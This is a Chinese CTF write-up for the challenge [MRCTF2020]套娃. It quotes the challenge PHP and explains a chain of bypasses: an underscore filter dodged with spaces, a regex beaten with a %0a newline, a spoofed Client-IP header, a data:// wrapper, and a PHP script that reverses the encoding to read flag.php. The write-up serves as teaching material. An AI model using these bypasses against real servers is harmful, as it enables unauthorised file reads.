[MRCTF2020]套娃
php字符窜解析bypass参考:https://www.freebuf.com/articles/web/213359.html
正则表达式的绕过 参考:https://blog.csdn.net/qq_40327508/article/details/108842617
文件包含的伪协议绕过 参考:https://www.cnblogs.com/-an-/p/12372220.html
function change加密解密
打开之后在源代码发现线索
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
- 首先分析一下这里的代码,这里有两个if,第一个if里有一个函数需要我们学习substr_count(),
函数的功能:函数计算子串在字符串中出现的次数。
注释:子串是区分大小写的
这里过滤了“—”,这里要求不能出现,可以用空格替代
- 第二个if有两个条件,第一就是get传值,第二就是绕过preg_match正则表达式
==:称为等值符,当等号两边的类型相同时,直接比较值是否相等,若不相同,则先转化为类型相同的值,再进行比较
正则表达式的几种绕过方式:https://blog.csdn.net/qq_40327508/article/details/108842617
这里用的是换行符绕过(%0a)
所以可以构造payload:
?b u p t=23333%0a
访问secrettw.php
一段jsfuck编码,因控制台执行一下
让post传参Merak,也没说穿什么值,那就随便
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
得到另外一个源码
- 分析一下,首先需要post传参Merak随便负值,然后下边有一个if要求我们的IP为127.0.0.1,这个可以用client-ip:来实现,然后后边的if要求我们get传参2333,传入todat is a happy day,因为是file_get_contents()函数考虑文件包含漏洞的伪协议,这里可以用php伪协议?php://input 和data伪协议?data://text/plain;base64,xxxx(base64编码之后的需要上穿的数据)
伪协议参考:https://www.cnblogs.com/-an-/p/12372220.html
-
并且在change里边get传参file读取,因为开头都告诉了包含flag.php,那必然=flag.php
-
这里涉及到function change这里的一个加密
我们可以反写它,exp:
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>
得到:ZmpdYSZmXGI=